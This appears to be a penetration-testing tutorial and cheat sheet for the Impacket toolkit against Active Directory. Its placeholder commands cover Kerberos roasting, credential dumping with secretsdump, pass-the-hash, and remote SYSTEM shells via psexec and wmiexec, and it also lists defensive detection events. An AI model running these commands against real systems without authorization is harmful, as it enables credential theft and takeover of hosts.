Impacket

Impacket is a Python library plus a set of ready-to-run example scripts that speak network protocols (SMB, MSRPC, Kerberos, LDAP, NTLM) directly, so you can do things the GUI never exposes: query a domain, host a quick share, pull or convert tickets, and authenticate with a password or a hash. It is the go-to toolkit once recon hands you an Active Directory environment and you need precise, protocol-level control.

You will see Impacket everywhere AD shows up: a Windows CTF box, a homelab domain, the enumeration and credential-handling phases of an authorized internal assessment, and even blue-team work where defenders replay the same scripts to test detections.

What you will learn#

• How to install, update, and verify Impacket and its scripts
• When to reach for an Impacket script, and when a higher-level tool fits better
• How the shared credential syntax works across every script
• How to use a password, an NTLM hash, or a Kerberos ticket cleanly
• Realistic examples for SMB, Kerberos, LDAP, and file-transfer labs
• The syntax mistakes that waste the most time, and how to avoid them
• A commented cheat sheet you can paste into your notes

Legal and scope reminder#

Only run these scripts against systems you own or are explicitly authorized to test. CTF platforms, your own AD homelab, and dedicated practice VMs are all fair game. Anything else needs written permission and an agreed scope. Many Impacket scripts go well beyond reading data: they request tickets, dump secrets, or execute commands. Keep a short note of the target, the authorization, and the date next to your output, and treat any hashes or tickets you collect as sensitive material.

Prerequisites#

• A Linux host is easiest (Kali, Parrot, or any Ubuntu/Debian box). Impacket also runs anywhere Python 3 does.
• Python 3.8 or newer. Most scripts install as impacket-ScriptName on Kali.
• Network access to the target domain controller or host you are authorized to test.
• Basic comfort with AD terms: domain, FQDN, NetBIOS name, DC, NTLM hash, Kerberos.
• A target you are allowed to test. The examples below use a lab DOMAIN, a private TARGET_IP, and placeholders like USERNAME and PASSWORD only.

Lab setup#

Keep every engagement in its own folder so output, notes, and loot never mix.

# One folder per box or per lab, with room for output and notes
mkdir -p ~/labs/impacket-demo/{loot,notes,share,tickets}
cd ~/labs/impacket-demo

Use private ranges for practice targets (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Throughout this guide, TARGET_IP is a host you are authorized to test, DOMAIN is a lab domain like lab.local, and DC_IP is the domain controller address. Treat the loot/ and tickets/ folders as sensitive.

Installation#

Pick the method that matches your environment.

# Debian / Ubuntu / Kali (preferred on most systems)
sudo apt update && sudo apt install -y python3-impacket impacket-scripts

# pipx (clean, isolated, easy to upgrade)
pipx install impacket

# pip into a virtual environment (when you want a pinned version)
python3 -m venv ~/.venvs/impacket
source ~/.venvs/impacket/bin/activate
pip install impacket

The Kali package is the easiest route and installs every script with an impacket- prefix on your PATH. Use pipx when you want an isolated, easy-to-update copy without touching system Python. Clone from the upstream repository only when you need a feature that is not packaged yet:

# Git clone install (latest, unpackaged features)
git clone https://github.com/fortra/impacket
cd impacket
pipx install .

Update process#

# Kali / Debian package
sudo apt update && sudo apt install --only-upgrade -y python3-impacket impacket-scripts

# pipx install
pipx upgrade impacket

# pip in a venv
source ~/.venvs/impacket/bin/activate && pip install --upgrade impacket

# Git clone
cd impacket && git pull && pipx install . --force

New releases add scripts, fix protocol edge cases, and track Windows changes, so an up-to-date Impacket behaves more predictably against modern domains.

Check if installed and available#

command -v impacket-smbclient   # prints the path if scripts are on your PATH
ls /usr/bin/impacket-* | head   # Kali names every script with this prefix
impacket-GetNPUsers -h | head   # confirm a script runs and shows its help

If command -v prints nothing, the package did not install or your shell PATH is stale. On non-Kali installs the scripts may be named without the prefix (for example GetNPUsers.py or smbserver.py), so check both.

First safe test#

Host a throwaway SMB server on your own machine. It proves the install works and touches nothing external.

# Serve the current directory as a share named "share" on your own host
impacket-smbserver share . -smb2support

Expected: the server prints Config file parsed and waits for connections. Connect from the same box with smbclient //127.0.0.1/share -N in another terminal to see it respond, then stop the server with Ctrl-C. Success looks like a running listener with no errors. Failure looks like command not found (install problem) or a permission error if port 445 is already in use by a local Samba service.

Core concepts#

• Library vs scripts: Impacket is a Python library; the impacket-* commands are example scripts built on it. Most people use the scripts daily.
• The credential string is the shared shape of nearly every script: DOMAIN/USERNAME:PASSWORD@TARGET. Learn it once and it applies everywhere.
• Authentication material: you can authenticate with a password, an NTLM hash (-hashes LM:NT), or a Kerberos ticket (-k plus a KRB5CCNAME ticket file).
• Targets are usually an IP or hostname; some scripts also need -dc-ip to find the domain controller, especially for Kerberos.
• Protocols decide which script you pick: SMB, MSRPC, LDAP, Kerberos, NTLM.
• Enumeration vs action: some scripts only read (GetNPUsers, lookupsid), others request tickets, dump secrets, or execute commands. Know which you are running before you run it.
• Output is mostly plain text to stdout; redirect or tee it to keep notes.

When this tool is useful#

• CTFs and labs: the standard kit for Windows and AD boxes once a DC appears.
• Homelab AD practice: explore Kerberos, SMB, and LDAP behavior hands-on.
• Authorized assessments: precise credential handling and protocol-level checks.
• Defensive validation: replay known techniques to confirm your logging catches them.
• File transfer: spin up a quick SMB share to move files into a lab Windows host.

When not to use this tool#

• When a higher-level wrapper answers the question faster (NetExec sweeps many hosts with one command; reach for Impacket when you need one exact protocol action).
• For initial network recon: scan with Nmap first, then bring Impacket to the AD work.
• When you only need to browse one share by hand (smbclient is simpler).
• When stealth matters and you have not considered logging: execution and secret-dump scripts are loud and land in Windows event logs.
• Without credentials or a clear objective: most scripts need auth and a reason to run.

Command anatomy#

impacket-ScriptName [auth] DOMAIN/USERNAME:PASSWORD@TARGET [options]
#       which script   how    the shared credential string   extras like -dc-ip

• ScriptName: the protocol action you want (GetNPUsers, smbserver, psexec).
• auth: how you authenticate: a password in the string, -hashes LM:NT, or -k.
• credential string: DOMAIN/USERNAME:PASSWORD@TARGET. Omit :PASSWORD to be prompted, or omit the user entirely for null/anonymous flows.
• options: script-specific flags such as -dc-ip, -usersfile, or -request.

Common flags and options#

These flags are shared across most scripts. Always confirm per-script behavior with -h.

Practical examples#

Each command below explains what it does and what to expect. All targets are lab placeholders.

# List the scripts Kali installed (names differ from upstream which drops the prefix)
ls /usr/bin/impacket-* | head -n 20
# Output: paths like /usr/bin/impacket-GetNPUsers. Use these exact names.

# AS-REP roasting: find accounts that do not require Kerberos pre-auth
impacket-GetNPUsers DOMAIN/ -usersfile notes/users.txt -dc-ip DC_IP -no-pass \
  -outputfile loot/asrep.txt
# Output: a $krb5asrep$ hash per vulnerable account. Empty means none in the list.

# Kerberoasting: request service tickets for accounts with an SPN (needs creds)
impacket-GetUserSPNs DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP -request \
  -outputfile loot/kerberoast.txt
# Output: $krb5tgs$ hashes you can crack offline with hashcat/john in the lab.

# Browse SMB shares interactively with valid lab credentials
impacket-smbclient DOMAIN/USERNAME:PASSWORD@TARGET_IP
# Output: an smb: \> prompt. Use shares, use SHARE, ls, get FILE, then exit.

# Enumerate users by RID-cycling over MSRPC
impacket-lookupsid DOMAIN/USERNAME:PASSWORD@TARGET_IP
# Output: a list of SIDs mapped to usernames and groups. Good for building users.txt.

# Pull the SAM/LSA secrets from a host where you have admin rights (loud, in scope only)
impacket-secretsdump DOMAIN/USERNAME:PASSWORD@TARGET_IP
# Output: NTLM hashes and cached secrets. Treat the result as highly sensitive.

# Same dump, but authenticate with a hash instead of a password (pass-the-hash)
impacket-secretsdump -hashes :NTHASH DOMAIN/USERNAME@TARGET_IP
# The empty LM field before the colon is normal: ":NTHASH" means LM is blank.

# Get an interactive shell via PsExec-style execution (very loud, authorized only)
impacket-psexec DOMAIN/USERNAME:PASSWORD@TARGET_IP
# Output: a SYSTEM shell on the target. Read -h first and confirm scope.

# Host an SMB share to move a file into a lab Windows VM
impacket-smbserver share ./share -smb2support
# On the Windows side: copy \\YOUR_IP\share\tool.exe C:\Temp\

# Turn a kirbi ticket into a ccache (or back) for reuse across tools
impacket-ticketConverter tickets/ticket.kirbi tickets/ticket.ccache
export KRB5CCNAME=tickets/ticket.ccache   # now -k auth can use it

# Always read help before any execution or secret-handling script
impacket-wmiexec -h | head -n 20
# Output: the exact auth flags and options for that specific script.

Example workflow#

A realistic beginning-to-end pass on one authorized lab domain, after Nmap found a DC.

# 1. Prepare and confirm scope
mkdir -p ~/labs/dc01/{loot,notes,tickets} && cd ~/labs/dc01
echo "scope: TARGET_IP / DOMAIN, authorized $(date -I)" > notes/scope.txt

# 2. Build a username list without credentials (RID cycling needs a low-priv account,
#    so start with anonymous AS-REP roasting against names you already have)
impacket-GetNPUsers DOMAIN/ -usersfile notes/users.txt -dc-ip DC_IP -no-pass \
  -outputfile loot/asrep.txt

# 3. Once you have a foothold credential, expand enumeration
impacket-lookupsid DOMAIN/USERNAME:PASSWORD@DC_IP | tee notes/sids.txt

# 4. Kerberoast service accounts and save the hashes for offline cracking
impacket-GetUserSPNs DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP -request \
  -outputfile loot/kerberoast.txt

# 5. Document what you found before any execution step
ls -l loot/ | tee notes/loot-index.txt

From here, the findings decide the next tool: roastable hashes go to hashcat or john, broad share access goes to smbclient, and confirmed admin rights may justify a documented secretsdump or psexec step inside scope.

Reading and interpreting output#

• A $krb5asrep$ or $krb5tgs$ line is a roastable hash. Save it; crack it offline.
• KDC_ERR_C_PRINCIPAL_UNKNOWN usually means the username is wrong or not in the domain.
• KDC_ERR_PREAUTH_REQUIRED means that account does require pre-auth, so it is not AS-REP roastable. This is a normal result, not a failure.
• STATUS_LOGON_FAILURE means bad credentials, wrong domain, or wrong separator.
• STATUS_ACCESS_DENIED means the account authenticated but lacks rights for that action.
• Clock skew errors (KRB_AP_ERR_SKEW) mean your host time is off from the DC; sync it.
• Empty output can mean the user list was wrong, the DC IP was wrong, or there was genuinely nothing to find. Re-run with -debug to see the protocol exchange.

Common mistakes#

• Dropping the Kali impacket- prefix, or adding it on a non-Kali install where the script is GetNPUsers.py.
• Getting the credential string wrong: it is DOMAIN/USER:PASS@TARGET, not a backslash.
• Forgetting -dc-ip on Kerberos scripts, so name resolution to the DC fails.
• Misformatting -hashes: it is LM:NT, and a blank LM is written as :NTHASH.
• Reaching for an execution script (psexec, wmiexec) when enumeration would answer the question.
• Letting host clock skew break every Kerberos action and blaming the credentials.
• Pasting hashes or tickets into shared notes without treating them as sensitive.
• Running loud secret-dump or execution scripts before confirming scope.

Troubleshooting#

Tools that pair well#

• Nmap: map the domain first; an open 88/389/445 tells you a DC is present.
• NetExec: sweep many hosts and validate credentials, then bring Impacket for the precise single-host action.
• smbclient: browse and pull files from a share once you have access.
• ldapsearch: validate LDAP data and objects that Impacket lookups hint at.
• BloodHound: map AD attack paths from the users and groups you enumerate.
• hashcat / john: crack the AS-REP and Kerberoast hashes Impacket exports.
• tee / grep: capture and filter script output into tidy notes.

Automation and note taking#

# Timestamped, saved, and echoed to the terminal in one shot
impacket-GetUserSPNs DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP -request \
  -outputfile "loot/kerberoast-$(date +%Y%m%d-%H%M).txt" \
  2>&1 | tee notes/kerberoast.txt

Name loot by date and task, keep a one-line scope note per target, and store hashes and tickets in a restricted loot/ or tickets/ folder. Screenshot anything you will reference in a report, and never commit credential material to a repo.

Blue-team visibility#

Defenders can and often do see Impacket activity, and many tools fingerprint it specifically. Expect these signals:

• Kerberos events: AS-REP requests with no pre-auth and bulk TGS requests light up event IDs 4768/4769 on the DC and are classic roasting indicators.
• Authentication logs: failed and unusual logons appear as 4624/4625 events.
• psexec/wmiexec/smbexec: create services or processes that generate 7045 service-install and 4688 process-creation events, plus telltale named pipes.
• secretsdump: remote registry and SAM access is high-signal and EDR-watched.
• SMB and network logs: share connections and the default Impacket SMB server show up in firewall and SMB audit logs.

Knowing this helps on both sides: as a defender, these are exactly the events to alert on; as a tester, it explains why execution and dump scripts get you noticed fast.

Safer or lower-noise usage#

• Prefer read-only enumeration (GetNPUsers, lookupsid, GetUserSPNs without -request) before any action script.
• Test against one host before touching a whole domain.
• Avoid execution scripts (psexec, wmiexec) unless they are clearly in scope.
• Use -outputfile so you do not re-run noisy requests just to recover lost output.
• Confirm scope and authorization before the first authenticated request.
• Keep brute-force and spraying behavior out unless it is explicitly authorized.

Alternatives#

• NetExec (formerly CrackMapExec): better when you want to sweep many hosts, spray credentials, or run a check across a subnet with one command. Impacket wins when you need one exact protocol action with full control.
• Rubeus: a Windows-native Kerberos tool; better when you are operating from a Windows host. Impacket is the cross-platform, Linux-friendly equivalent.
• smbclient / ldapsearch: simpler for plain browsing or directory queries; Impacket is the choice when you need scripted, protocol-level behavior.
• Impacket remains the most flexible toolkit for precise AD protocol work; the wrappers win on convenience and breadth, Impacket wins on depth and control.

Deprecated and legacy notes#

• On Kali the scripts carry the impacket- prefix (impacket-GetNPUsers). Upstream examples often use the bare .py name (GetNPUsers.py); old tutorials mix both.
• Impacket is now maintained by Fortra at github.com/fortra/impacket; older links point at the previous SecureAuth repository.
• Some flag names and script behavior change between releases, so a command from an old guide may need an extra flag like -dc-ip. Check the script -h when in doubt.

Quick reference cheat sheet#

# --- Discover scripts ---
ls /usr/bin/impacket-* | head -n 20          # Kali script names (with prefix)

# --- Credential string shape (memorize this) ---
# DOMAIN/USERNAME:PASSWORD@TARGET_IP         # the shared format for most scripts

# --- Kerberos enumeration (read-only, low noise) ---
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip DC_IP -no-pass \
  -outputfile loot/asrep.txt                 # AS-REP roast: accounts w/o pre-auth

impacket-GetUserSPNs DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP \
  -outputfile loot/spns.txt                  # list SPN accounts (no -request = list only)

impacket-GetUserSPNs DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP -request \
  -outputfile loot/kerberoast.txt            # request TGS hashes for offline cracking

# --- MSRPC / user enumeration ---
impacket-lookupsid DOMAIN/USERNAME:PASSWORD@TARGET_IP  # RID-cycle users and groups

# --- SMB ---
impacket-smbclient DOMAIN/USERNAME:PASSWORD@TARGET_IP  # interactive share browser
impacket-smbserver share ./share -smb2support          # host a temp share (file transfer)

# --- Secrets (loud, in scope only) ---
impacket-secretsdump DOMAIN/USERNAME:PASSWORD@TARGET_IP # dump SAM/LSA secrets
impacket-secretsdump -hashes :NTHASH DOMAIN/USERNAME@TARGET_IP  # pass-the-hash variant

# --- Execution (very loud, authorized only; read -h first) ---
impacket-psexec DOMAIN/USERNAME:PASSWORD@TARGET_IP      # SYSTEM shell via service
impacket-wmiexec DOMAIN/USERNAME:PASSWORD@TARGET_IP     # quieter, WMI-based exec

# --- Kerberos tickets ---
impacket-ticketConverter tickets/ticket.kirbi tickets/ticket.ccache  # convert formats
export KRB5CCNAME=tickets/ticket.ccache                 # then auth with -k

# --- Save + echo for notes ---
impacket-GetUserSPNs DOMAIN/USERNAME:PASSWORD -dc-ip DC_IP -request \
  2>&1 | tee notes/kerberoast.txt            # keep a copy while you watch it run

# --- Debug a silent failure ---
impacket-GetNPUsers -debug DOMAIN/ -usersfile users.txt -dc-ip DC_IP -no-pass

Mini decision tree#

• No credentials yet: try AS-REP roasting with GetNPUsers -no-pass.
• Have a low-priv credential: enumerate with lookupsid and Kerberoast with GetUserSPNs -request.
• Have a hash, not a password: authenticate with -hashes :NTHASH.
• Have a Kerberos ticket: set KRB5CCNAME and add -k -no-pass.
• Kerberos keeps failing: check -dc-ip and fix host clock skew first.
• Need machine-readable loot: use -outputfile and crack offline.
• Need low noise: stay on read-only scripts and skip execution.

Final checklist#

• Scope and authorization noted next to the output
• Correct script name used (prefix on Kali, .py elsewhere)
• Credential string formatted as DOMAIN/USER:PASS@TARGET
• Hashes written as LM:NT (blank LM as :NTHASH)
• Loot and tickets stored as sensitive material, not pasted carelessly
• Read-only enumeration done before any execution step
• No real third-party targets or real credentials used

Final summary#

Impacket is best when you need one precise, protocol-level action against an authorized AD lab: enumerate, roast, browse, transfer, or convert with full control. The fastest way to start is read-only enumeration like impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip DC_IP -no-pass. The most expensive mistake is botching the credential string or forgetting -dc-ip, which makes a working command look like a failure. Learn hashcat or john next, since the hashes Impacket exports are the most common thing it will hand you.